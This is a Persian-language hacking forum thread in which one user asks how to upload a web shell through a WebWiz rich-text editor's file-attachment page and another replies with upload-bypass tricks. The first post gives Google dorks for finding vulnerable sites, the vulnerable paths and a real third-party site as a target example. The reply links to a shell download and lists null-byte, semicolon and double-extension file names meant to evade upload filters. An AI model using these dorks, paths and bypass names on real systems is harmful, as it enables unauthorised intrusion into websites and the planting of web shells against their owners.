درخواست کمک در باگ Webwiz

[y4s]

سلام دوستان و همکاران. ازتون میخوام تو این تارگت بهم کمک کنید. خیلی ممنون میشم. نمیدونم شلو با چه فرمتی آپلود کنم؟ ارور میده . اگه میشه به طور کامل توضیح بدین ::y4s::


[align=LEFT]Google Dorks:

inurl:rte/my_documents/my_files
inurl:/my_documents/my_files/


Exploit:

site.com/rte/RTE_popup_file_atch.asp
site.com/admin/RTE_popup_file_atch.asp






Example:

http://www.plymouth-chamber.co.uk/rte/RTE_popup_file_atch.asp[/align]

[Mr.XpR]

RE: درخواست کمک در باگ Webwiz

سلام میتونی از تاپیک متود های دور زدن آپلودر استفاده کنی همونطور که در این کلیپ توضیح دادم میتونی از این شل :

http://iranhack.com/acc/thread-909.html

و با این پسوند ها اونو تبدیل و تست کنی در 70 % مواقع نتیجه میگیری

shell.asp.jpg%00
shell.asp.jpg:;
shell.asp.jpg%;
shell.asp.jpg%:
shell.asp.jpg;
shell.asp.jpg;%00
shell.asp.jpg%00;
shell.asp.jpg%00:;
shell.asp;.jpg
shell.asp.jpg
shell.asp;.jpg
shell.asp.jpg
shell.asp.jpg:;
shell.asp.jpg%;
shell.asp.jpg;
shell.asp.jpg;
shell.asp.jpg:;

iranhack.com/acc/thread-421.html